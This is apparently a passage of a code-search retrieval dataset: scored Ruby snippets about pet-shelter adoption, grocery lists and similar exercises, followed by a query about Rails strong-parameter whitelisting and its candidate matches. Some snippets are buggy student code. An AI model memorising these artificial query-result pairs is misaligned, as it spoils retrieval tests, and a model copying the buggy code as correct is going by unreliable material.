"dacbb31696ef022607cadeaf26553edc", "score": "0.6457254", "text": "def adopt_animal client, animal\n unless valid_client?(client) && valid_animal?(animal)\n puts Rainbow(\"\\nSelection not valid, please try again\").magenta\n else\n puts Rainbow(\"\\n#{$shelter[:animals][animal.to_i].name} has been adopted by #{$shelter[:clients][client.to_i].name}\").magenta\n # add the animal to the clients list of pets\n $shelter[:clients][client.to_i].pets << $shelter[:animals][animal.to_i]\n # remove animal from the list in the shelter\n $shelter[:animals].delete_at(animal.to_i)\n end\nend", "title": "" }, { "docid": "59fb60f52046780961614d8a37bab63b", "score": "0.645678", "text": "def add_animal\n\tdisplay_title\n\tputs \"--Add Animal--\"\n\ta = Animal.new(ask('Name?'),ask('Age?'),ask('Gender?'),ask('Species?'),ask('Toys?'))\n\t$shelter.list_animals << a\n\tputs\n\tputs \"#{ a.name } was added to the database!\"\n\tputs\n\tany_key\nend", "title": "" }, { "docid": "27ea67f521eb56433721d4f9f8cfa055", "score": "0.63906044", "text": "def make_happy(animal)\n @pets[animal].each do |animal|\n animal.mood = \"happy\"\n end\nend", "title": "" }, { "docid": "de759e6a6c08442dced15ae0cbfe94ee", "score": "0.6354664", "text": "def cat_lady(name, age)\n\n #initiates CatLady object with arguments passed in from new_client method, adds to shelter\n\n $s.clients[name.downcase.to_sym] = CatLady.new(name.downcase.to_s, age)\n\n #goes through object containing all animals without owners to find animal objects with the species attribute of 'cat', pushes those objects to the cat lady's animals and removes them from the the homeless animals object\n\n $s.clients[:no_clients].animals.values.each do |animal|\n if animal.species == \"cat\"\n $s.clients[name.downcase.to_sym].animals[animal.name] = $s.clients[:no_clients].animals[animal.name]\n $s.clients[:no_clients].animals.delete(animal.name)\n end\n end\n\n puts \"#{name} has been added to the system and has adopted the following pets cats : \"\n line\n $s.clients[name.downcase.to_sym].animals.keys.each { |animal| puts animal}\nend", "title": "" }, { "docid": "22a738acb48bf74d387a9ae1fc2c377d", "score": "0.63523823", "text": "def add_pet_to_customer( customer, new_pet )\n customers[:pets].push[:new_pet]\n customers[:pets].count\nend", "title": "" }, { "docid": "7d071a3a41c53120f46b94ef1d3702ac", "score": "0.63489133", "text": "def add_food(food)\n if rand > .5\n @fridge << food\n else\n @freezer << food\n end\n end", "title": "" }, { "docid": "8fdaaa90b7c44115bb2f980b69a2239c", "score": "0.6341357", "text": "def age!\n @age+=1\n if @age > 3\n 4.times do @eggs << Egg.new end\n end\n end", "title": "" }, { "docid": "4cc217a558ad7800eeb8bd2242718b56", "score": "0.6335539", "text": "def new_animal\n puts \"Let's add a new animal to #{$s.name}!\"\n line\n puts \"What's the name of the animal?\"\n animal_name = gets.chomp.downcase.capitalize\n line\n puts \"What's the species of the animal?\"\n species = gets.chomp.downcase\n line\n\n #initializes animal object with specified parameters, adds it to the no_clients object in the shelter\n\n $s.clients[:no_clients].animals[animal_name] = Animal.new(animal_name, species)\n\n #prompts user for number of toys, user then specifies each toy\n\n puts \"Would you like to add any toys for this animal? Type a number of toys or type anything else to quit.\"\n line\n number_of_toys = gets.chomp.to_i\n\n unless number_of_toys == 0\n number_of_toys.times do |x|\n line\n puts \"Type a toy:\"\n toy = gets.chomp\n $s.clients[:no_clients].animals[animal_name].toys << toy\n end\n end\n\n line\n puts \"Great! animal added with the following specifications :\"\n $s.clients[:no_clients].animals[animal_name].to_s\n line\nend", "title": "" }, { "docid": "a9f60ab13c0ef0f4bc4067d30c52a22d", "score": "0.63317764", "text": "def add_pet_to_customer(customer, new_pet)\n customer[:pets].insert(0, new_pet) \nend", "title": "" }, { "docid": "24f3a8cd2371287e2abf59b608511785", "score": "0.63091296", "text": "def adopt_an_animal(user)\n puts \"\\tAdopt an animal\"\n animal_list\n puts \"\\nLogged in user account information:\\n\"\n display_client(user)\n puts \"\\nHello #{user}, type in the name of the animal you would like to adopt:\"\n pet = gets.chomp\n if animals.any? { |animal| animal.name == pet }\n clients.each do |client|\n if client.name == user\n animals.each { |animal| client.add_animal(animal) if animal.name == pet }\n end\n end\n animals.each { |animal| remove_animal(animal) if animal.name == pet }\n puts \"Congratulations #{user}, you have just adopted #{pet}!\"\n else\n puts \"#{pet} is not one of the animals on the list. Return to menu and try again.\"\n end\nend", "title": "" }, { "docid": "53a4898384997b58f2443a4f9142d9a1", "score": "0.62998414", "text": "def add_pet_to_customer(customer, new_pet)\n customer[:pets].push(new_pet)\n return customer[:pets].length()\nend", "title": "" }, { "docid": "1fe954b02f3e9027c79b7584c818de82", "score": "0.6285789", "text": "def add_animal_client(animal)\n\t\t@pets_owned << animal\n\tend", "title": "" }, { "docid": "624b8f73e301b58ad64881d6f9f35df9", "score": "0.6285112", "text": "def add_pet_to_customer(customer, new_pet)\n customer[:pets].push(new_pet)\n return customer[:pets].length\nend", "title": "" }, { "docid": "0b114321a14b22996c5a8809d1af85db", "score": "0.6238829", "text": "def grow\n if @alive\n age_a_year\n if @age >= 10\n die_already\n elsif @age < 3\n @num_fruit = 0\n grow_2_units\n elsif @age >=3\n bear_fruit\n grow_2_units\n end\n else\n @num_fruit += 0\n die_already\n end\n end", "title": "" }, { "docid": "edce601d54f470b05e13e4921db685a5", "score": "0.62184817", "text": "def age!\n @oranges = []\n @age += 1\n @height += 3 \n @ways_to_die << \"Some asshole chopped her down.\"\n oranges_grow\n end", "title": "" }, { "docid": "428dfd20450990bc1f16e3936bf4c227", "score": "0.6187123", "text": "def age!\n @age += 1\n if @age > 3\n #4 eggs objects are created into Array\n 4.times do\n new_egg = Egg.new\n @eggs << new_egg\n end\n end\n end", "title": "" }, { "docid": "273ec55df812a5575dc6e930d5b4cd45", "score": "0.6151914", "text": "def <<(animal)\n @animals[animal] = animal\n\n # return self so we can chain \n self\n end", "title": "" }, { "docid": "8e7097beaeeed6d9371d9b77aba6b05f", "score": "0.6134161", "text": "def add(pets, pet_info)\n pets << pet_info\nend", "title": "" }, { "docid": "171d4f01be3ed55f121bb5c917d7e6f8", "score": "0.61337227", "text": "def add_to_bag(ingredient)\n @bag.push(ingredient)\n end", "title": "" }, { "docid": "171d4f01be3ed55f121bb5c917d7e6f8", "score": "0.61337227", "text": "def add_to_bag(ingredient)\n @bag.push(ingredient)\n end", "title": "" }, { "docid": "b1fb9e7334b5344a05f069db8ba5be12", "score": "0.61321604", "text": "def add_candy(candy_name)\n if !@candy_list.any?{|candy| candy.candy_name.casecmp?(candy_name)}\n new_candy = Candy.new(candy_name)\n @candy_list.push(new_candy)\n puts \"Added candy.\"\n else puts \"Candy already exists\"\n end\n end", "title": "" }, { "docid": "d06663e9aeb89a2a680ac605e299dd0c", "score": "0.61227983", "text": "def add_pet_to_customer(customer, pet)\n customer[:pets].append(pet)\n return nil\nend", "title": "" }, { "docid": "d8ff642ade2cdd75e71c3a5d4d30510e", "score": "0.609539", "text": "def add_pet_to_customer(customer, new_pet)\n customer[:pets] << new_pet\nend", "title": "" }, { "docid": "d8ff642ade2cdd75e71c3a5d4d30510e", "score": "0.609539", "text": "def add_pet_to_customer(customer, new_pet)\n customer[:pets] << new_pet\nend", "title": "" }, { "docid": "d8ff642ade2cdd75e71c3a5d4d30510e", "score": "0.609539", "text": "def add_pet_to_customer(customer, new_pet)\n customer[:pets] << new_pet\nend", "title": "" }, { "docid": "d8ff642ade2cdd75e71c3a5d4d30510e", "score": "0.609539", "text": "def add_pet_to_customer(customer, new_pet)\n customer[:pets] << new_pet\nend", "title": "" }, { "docid": "ff6e89ab4d9145ea9b7fb8a5c1179c4d", "score": "0.6089876", "text": "def adopt_new\n\t\t\tlist_animals\n\t\t\tputs \"Which animal would you like to adopt #{@client_response}?\"\n\t\t\tadopt_response = gets.chomp.to_s.downcase\n\t\t\tadopting = @animal_database.select { |x| x.name == adopt_response }\n\t\t\tactive_client = @client_database.select { |x| x.client_name == @client_response }\n\t\t\tactive_client << adopting\n\t\t\t# @animal_database.delete(adopting) #gets rid of it from the db\n\t\t\t# puts adopting\n\t\t\t# animal_adopt_name_values = @animal_database.map do |x| \n\t\t\t# \tx.name\n\t\t\t# end\n\t\t\t# if selected_animal = animal_adopt_name_values.include?(adopt_response)\n\t\t\t# \t#add that animal from an input as pet 1 to Client's name\n\t\t\t\t \n\n\t\t\t# end\n\t\tend", "title": "" }, { "docid": "02859010eda99a3ee11a8038a4d80c50", "score": "0.6088273", "text": "def ask_for_and_add_new_animal(incorrect_guess = nil)\n print \"I'm out of animals. What animal were you thinking of? \"\n name = gets.chomp.sub(/^(a|an|the) /, '')\n ask_for_and_add_new_question(incorrect_guess, name)\n add_animal(name, @mystery_animals_questions)\n end", "title": "" }, { "docid": "883c84fb17fbcd5d204f51f81b78d2d0", "score": "0.60761106", "text": "def sell_pets\n pets = self.dogs + self.cats\n \n pets.each do |pet|\n pet.mood = \"nervous\"\n pet.owner = nil\n end \n end", "title": "" }, { "docid": "92eb0c6eca0dba8ac18aec4321f863cb", "score": "0.6072856", "text": "def one_year_passes\n\t@age += 1\n\t@height += @age * 4\n\torange_sack << add_oranges if @age < 10 && self.dead? == \"I AM ALIVE\"\nend", "title": "" }, { "docid": "33b7757d0320dec014a1308266036358", "score": "0.60702527", "text": "def add_pet_to_customer (customer, new_customer_pet)\ncustomer[:pets] << new_customer_pet\nend", "title": "" }, { "docid": "3592e7846e5c84a77baf15e5a145a587", "score": "0.6055733", "text": "def pick_up(animal_name, shelter)\n my_animal = shelter.animals.delete(animal_name) # Delete animal from shelter and return it\n @pets[animal_name] = my_animal # Add to person's pets\n @num_pets += 1\n end", "title": "" }, { "docid": "c0de99d5e9d825122644e27177e2745b", "score": "0.6050012", "text": "def add_good(good)\n if good.class == Pasture\n @total_animals += good.number\n @goods << good\n else\n @goods << good\n end\n end", "title": "" }, { "docid": "d60b5981de3118a531a2fb6a2cfeffe8", "score": "0.6048644", "text": "def adopt(person, pet)\n #this creates a variable \"animal\" that returns the value of the \"@animals\" hash\n animal = @animals[pet]\n #This line creates a new key, value pair in a hash\n #@clients[person] uses the key [person], to return the values of the @clients hash. \n #.pets[animal.name]. \n #.pets returns that attribute from the client object, creates a new key value, pair\n #[animal.name] is the new key. animal is the new value\n #animal.name returns the name attribute from the animal class object\n @clients[person].pets[animal.name] = animal\n #this deletes a key value pair from @animals. pet is the name of the key in the key, value pair\n @animals.delete(pet)\n end", "title": "" }, { "docid": "eb0015d54379948d3590f56800aba11f", "score": "0.60475844", "text": "def age!\r\n @age = @age + 1\r\n if @age > 3\r\n 4.times do\r\n @eggs << Egg.new\r\n end\r\n end\r\n self\r\n end", "title": "" }, { "docid": "4b69678dd82fe8074dc5f55b18082186", "score": "0.6044572", "text": "def buy_cat(name)\n name = Cat.new(name)\n @pets[:cats] << name\n end", "title": "" }, { "docid": "e19fa4af64c5a6acbb8189aa8942fe86", "score": "0.604346", "text": "def age!\n @age < @max_age ? @age+=1 : @dead = true\n @height+=2 unless @height==20\n grow_fruit\n end", "title": "" }, { "docid": "7c59830578d6a7780b8dcc48526d5e40", "score": "0.60319465", "text": "def add_item(grocery_list, new_item, quantity = 1)\n grocery_list[new_item] = quantity\n grocery_list\nend", "title": "" }, { "docid": "1701d6b9cf42d8d17a6ceb22437e3a72", "score": "0.6029538", "text": "def add_basicFood(name, calories)\n food=BasicFood.new(name,calories)\n added=false\n if !contains_food?(food.name)\n @basicFoods.push(food)\n @size+=1\n added=true\n end\n added\n end", "title": "" }, { "docid": "2ee09fc284606d06c11c7e3e14c20475", "score": "0.6029047", "text": "def phase3\n animals = []\n clients = []\n\n loop do\n print \"Add Animal or Client? (1 => animal, 2 => client)\"\n choice = gets.chomp\n\n case choice.downcase\n when \"1\", \"animal\"\n print \"A name for the new Animal?\"\n name = gets.chomp\n\n print \"Its age?\"\n age = gets.chomp.to_i\n\n print \"Its gender?\"\n gender = gets.chomp\n\n print \"Its species?\"\n species = gets.chomp\n\n toys = []\n loop do\n print \"Give/add a Toy to the Animal? (leave blank to stop adding toys)\"\n break if (toy = gets.chomp).empty?\n toys.push(toy)\n end\n animals << Animal.new(name, age, gender, species, *toys)\n when \"2\", \"client\"\n print \"A name for the new Client?\"\n name = gets.chomp\n\n print \"Their age?\"\n age = gets.chomp.to_i\n\n print \"Number of children?\"\n num_children = gets.chomp.to_i\n\n pets = []\n loop do\n print \"Name of a pet? (leave blank to stop adding pets)\"\n break if (pet = gets.chomp).empty?\n pets.push(pet)\n end\n clients << Client.new(name, age, num_children, *pets)\n else\n puts \"Unkown choice\"\n end\n\n print \"Add another Animal or Client? (y/n)\"\n break unless (gets.chomp == \"y\")\n end\nend", "title": "" }, { "docid": "7a1c45a53e1be64a79fb3558f93a9c7f", "score": "0.6022587", "text": "def animal_adopted (animal_name)\n\tend", "title": "" }, { "docid": "834854c17d04927e96d30312c882630f", "score": "0.6020442", "text": "def add_animal(pet) # Pass pet object\n @pets[pet.name] = pet # Add pet to client's hash\n end", "title": "" }, { "docid": "1197b1689e7f6c62ee68b8b2a7b64069", "score": "0.6019789", "text": "def age!\n @age += 1\n # puts \"age: #{@age}\"\n if @age > 3\n # puts \"metemos en el nido\"\n @nido << Egg.new(0) << Egg.new(0) << Egg.new(0) << Egg.new(0)\n\n # else\n # return\n end\n end", "title": "" }, { "docid": "b96f42327badd6057bcda567becdaa73", "score": "0.6014103", "text": "def create_animal_log\n puts \"What is the animals name?\"\n @name = gets.chomp\n puts \"How old is #{@name}?\"\n @age = gets.chomp.to_i\n puts \"What gender is #{@name}? (m/f)\"\n @gender = gets.chomp\n puts \"What type of animal is it?\"\n @species = gets.chomp\n puts \"What toys do they play with?\"\n @toys = [gets.chomp]\n animal1 = Animal.new(@name, @age, @gender, @species, @toys)\n @animal_log.push(animal1)\n add_animal_to_shelter\nend", "title": "" }, { "docid": "62d0a08bfbf46dd2d97f17b50ad4686c", "score": "0.60130996", "text": "def add_food(grocery_list, item, quantity)\n grocery_list[item] = quantity\n grocery_list\nend", "title": "" }, { "docid": "d678596f0beabc449592e5801fe082f1", "score": "0.6009947", "text": "def add_item(grocery_list, item)\n grocery_list[item] = 1\n grocery_list\nend", "title": "" }, { "docid": "7ec7eb381b1e9f2a4477ac9a712fb899", "score": "0.6004219", "text": "def eat_cat\n @cats_owned = cats_owned - 1\n end", "title": "" }, { "docid": "c42f1bb73f28f035d7e0e9a1f9f02750", "score": "0.60013753", "text": "def eat(food)\n @foods_eaten.push(food)\n end", "title": "" }, { "docid": "9e3cd6eb18000b753779a62fe1fcda98", "score": "0.59988725", "text": "def add_item(my_grocery_list, new_item, quantity)\n my_grocery_list[new_item] = quantity\n my_grocery_list \nend", "title": "" }, { "docid": "07c51573c0ab535775860abf859317aa", "score": "0.59908104", "text": "def add_pet_to_customer(customer, new_pet)\n customer[:pets].push(new_pet)\nend", "title": "" }, { "docid": "07c51573c0ab535775860abf859317aa", "score": "0.59908104", "text": "def add_pet_to_customer(customer, new_pet)\n customer[:pets].push(new_pet)\nend", "title": "" }, { "docid": "07c51573c0ab535775860abf859317aa", "score": "0.59908104", "text": "def add_pet_to_customer(customer, new_pet)\n customer[:pets].push(new_pet)\nend", "title": "" }, { "docid": "07c51573c0ab535775860abf859317aa", "score": "0.59908104", "text": "def add_pet_to_customer(customer, new_pet)\n customer[:pets].push(new_pet)\nend", "title": "" }, { "docid": "07c51573c0ab535775860abf859317aa", "score": "0.59908104", "text": "def add_pet_to_customer(customer, new_pet)\n customer[:pets].push(new_pet)\nend", "title": "" }, { "docid": "07c51573c0ab535775860abf859317aa", "score": "0.59908104", "text": "def add_pet_to_customer(customer, new_pet)\n customer[:pets].push(new_pet)\nend", "title": "" }, { "docid": "58b11e3cec2ab523ba73f69f2b8f495f", "score": "0.59892637", "text": "def add_item(grocery_list, item_name, quantity=0) \n if grocery_list.has_key?(item_name.downcase)\n puts \"Item is already in the list\"\n else\n grocery_list[item_name.downcase] = quantity\n end\n print_list(grocery_list)\nend", "title": "" }, { "docid": "c38f32314de7025410f4996d098ea629", "score": "0.5976803", "text": "def add_pet_to_customer(customer, new_pet)\n customer[:pets].push(new_pet)\nend", "title": "" }, { "docid": "8407fd6e271b67fcf31e78dd3c64edda", "score": "0.5973138", "text": "def item_add(grocery_list, new_item, quantity = 1)\r\n\tgrocery_list[new_item] = quantity\r\n\tgrocery_list \r\nend", "title": "" }, { "docid": "fc1d8ef9a1e875cc10dce69fe64646a8", "score": "0.5972729", "text": "def add_pet_to_customer(customer,new_pet)\n return customer[:pets].push(new_pet)\nend", "title": "" }, { "docid": "68cb25ae411824c38fa027114c356528", "score": "0.5971852", "text": "def award(trophy)\n @trophies << trophy \n end", "title": "" }, { "docid": "0394310c837523f178c755e41aa2545a", "score": "0.5968496", "text": "def add!(e, add_errors = false)\n return false unless allows?(e, true)\n if e.category && total_category_item_count(e.category) >= e.category.max_items_per_checkout \n deleted_e = e.category.as_same_category? ? equipments.in_as_same_category(e.category.as_same_category).first : equipments.in_category(e.category).first\n if deleted_e && !staff?\n equipments.delete(deleted_e)\n categor_title = e.category.as_same_category? ? e.category.as_same_category+\" (Maximun allowed number: 1)\" : e.category.title\n errors.add_to_base \"We added #{e.title} to your reservation but had to remove \n #{deleted_e.title} because this would have put you over the\n maximum allowed number of items from the #{categor_title} category.\" if add_errors\n end\n end\n equipments << e\n true\n end", "title": "" }, { "docid": "8462c24d390a8d488b2046424ed623cf", "score": "0.596795", "text": "def add_pet_to_customer(customer, pet)\n customer[:pets].push(pet)\n return customer_pet_count(customer)\nend", "title": "" }, { "docid": "5bce790c3b72302b800797d92183f88e", "score": "0.59625345", "text": "def sell_pets\n pets = self.dogs + self.cats\n\n pets.each do |pet|\n pet.mood = \"nervous\"\n pet.owner = nil\n end\n end", "title": "" }, { "docid": "6e71f7b81de9334ad2707337be133d31", "score": "0.5961017", "text": "def add_item(new_item, groceries_list, quantity)\n groceries_list[new_item] = quantity\n quantity = 1\n return groceries_list\nend", "title": "" }, { "docid": "7ab513627b72088d159052d5be58e7d8", "score": "0.5952677", "text": "def buy_dog(name)\n pets[:dogs] << Dog.new(name)\n end", "title": "" }, { "docid": "084ddda34695d76468c5624e04cd36e0", "score": "0.5950864", "text": "def add_item(new_item,groceries,quantity=1)\r\n\tgroceries[new_item]= quantity\r\n\tgroceries\r\nend", "title": "" }, { "docid": "9a6eaff930a84a478a9072012f05a136", "score": "0.5926101", "text": "def adoption(animal_name, client_name)\n\n # finds animal object from Shelter's array and adds it to given client's pet array\n # how to find the client's pet array? \n $happitails.get_clients.each do |client_object| \n if client_object.get_name == client name\n puts client_object.get_pets\n end\n end\n # self.get_clients[client_name].pets << self.get_animals[animal_name]\n #puts self.get_clients[client_name].pets\n # adds that variable to Client object's pet array\n end", "title": "" }, { "docid": "d40142bcf841b1f5453c8848dd56ce6d", "score": "0.59245145", "text": "def carriage_add(carriage)\n if @speed != 0\n puts \"Carriage cannot be added! Speed = #{@speed}\"\n else\n @carriages_in_train << carriage # create array of carriages\n @carriage_count += 1\n end\n end", "title": "" }, { "docid": "f7421748a638124915d94e6a5faab8bb", "score": "0.5924411", "text": "def item_add(grocery_list, new_item, quantity = 1)\n\tgrocery_list[new_item] = quantity\n\tgrocery_list \nend", "title": "" }, { "docid": "80f774f81cee488895b59566a056634a", "score": "0.5924324", "text": "def buy_dog(name)\n dog = Dog.new(name)\n pets[:dogs] << dog\n end", "title": "" }, { "docid": "8ae70e33e9526869cf42fd6177c25bbf", "score": "0.59230906", "text": "def add_an_item(item, grocery_list)\n\tgrocery_list[item] = 4\n\tgrocery_list\nend", "title": "" }, { "docid": "d4e9b658de2bc0aadb92f93371fcd4c9", "score": "0.5911074", "text": "def add_item(new_item, grocery_list)\n grocery_list[new_item] = 1\n #p grocery_list\nend", "title": "" }, { "docid": "fa5543e73212520849739462cd9b5623", "score": "0.5898964", "text": "def initialize\n @@total_animals += 1\n \n end", "title": "" }, { "docid": "cbbe4bfacb5de99f40874efe22536f9c", "score": "0.5896504", "text": "def play_with_cats \n self.pets[:cats].each do |cat|\n cat.mood=(\"happy\")\n end\n end", "title": "" }, { "docid": "91d7d33bd4088aba672e3e1d80d5a943", "score": "0.58944887", "text": "def add_pet_to_customer(customer, new_pet)\n return customer[:pets].push(new_pet)\nend", "title": "" }, { "docid": "72202a9ec6259a55b434d7cf577dddcc", "score": "0.58941865", "text": "def add_item(food,quantity)\n $grocery_list[food] = quantity \nend", "title": "" }, { "docid": "ae5078677a683e75d143a74fa20d004a", "score": "0.5884536", "text": "def add_pets(pet)\n @pets << pet\n end", "title": "" }, { "docid": "dd12664072c8c92d1c160767f0f7d3e0", "score": "0.58776635", "text": "def add_item(grocery_list, item, quanity = 27)\n\tgrocery_list[item] = quanity\nend", "title": "" }, { "docid": "990cd3f43b9170cd6224a3e37b013dfb", "score": "0.58732975", "text": "def give_pet_up_to_shelter(animal_name, animal_instance_name, shelter_instance_name)\n @number_of_pets = @number_of_pets - 1\n @pets.delete(animal_name)\n shelter_instance_name.animals[animal_name] = animal_instance_name\n end", "title": "" } ]
a2099a77c85e91272ae2f9e35b937953
Only allow a trusted parameter "white list" through.
[ { "docid": "013f5519228a40fe08ae5aba065c6faa", "score": "0.0", "text": "def marca_params\n params.require(:marca).permit(:nome, :created_by, :updated_by)\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.7943618", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.69572574", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.6887521", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.67666084", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6733912", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.671326", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6705381", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.66612333", "text": "def filtered_parameters; end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.66164786", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.66156906", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.65888846", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.6575757", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.6572969", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.6572365", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "f5e3a87909b3e5022047b4b0a64ca154", "score": "0.65321475", "text": "def parameter_params\n params.require(:parameter).permit(:name, :code, :description, :user_id, :value, :cargapp_model_id, :active)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.65129966", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "58d1451e57b0e767db2fc6721dfaa6be", "score": "0.65128386", "text": "def allowed_parameters\n parameters.keys\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.64990044", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "52d4c66cc205503f7ad6a4feaedab9b8", "score": "0.6491305", "text": "def parameter_params\n params.require(:parameter).permit(:name, :value, :description)\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.6489574", "text": "def need_params\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.6476191", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "e64490ed35123aafa1b4627bd165517d", "score": "0.645836", "text": "def allowed_params\n [:title, :description, :is_template, :template_id, :user_id, :color]\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.64389294", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.6431918", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.642512", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.6420569", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.6420569", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.63804525", "text": "def filter_parameters; end", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.63736504", "text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.6355191", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.6355191", "text": "def check_params; true; end", "title": "" }, { "docid": "cac0774e508766d2f487cbca3db95df0", "score": "0.6336598", "text": "def allow_params?\n definition[:param_tokens]\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.6319846", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "55aa899fab0dfa44916f71c499998ca8", "score": "0.63113743", "text": "def parameter_params\n params.require(:parameter).permit(:key, :value)\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6292978", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6292978", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6291", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6291", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "64ea65f903dbe0c9c0cc0e9a20ed2e7f", "score": "0.6290657", "text": "def good_option_params\n permit_params\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.62724084", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.6266407", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "572f75fa86537d103ddf7b5503f06515", "score": "0.6265082", "text": "def parameter_params\n params.require(:parameter).permit(:title)\n end", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.6262119", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "b4ac8bc6941a87425ac2dc42a226295f", "score": "0.6258491", "text": "def filtered_params_config; end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.6243215", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "63944d10aa4cde014b8332874db87cb9", "score": "0.62372005", "text": "def excluded_from_filter_parameters=(_arg0); end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.6228103", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "6fc2bac4c842e4285d685333ba68e5e9", "score": "0.6226018", "text": "def admin_parameter_params\n params.require(:admin_parameter).permit(:name, :inss_hour_price, :private_hour_price, :is_eval)\n end", "title": "" }, { "docid": "d8b02fce801fc219417d86d0ca117836", "score": 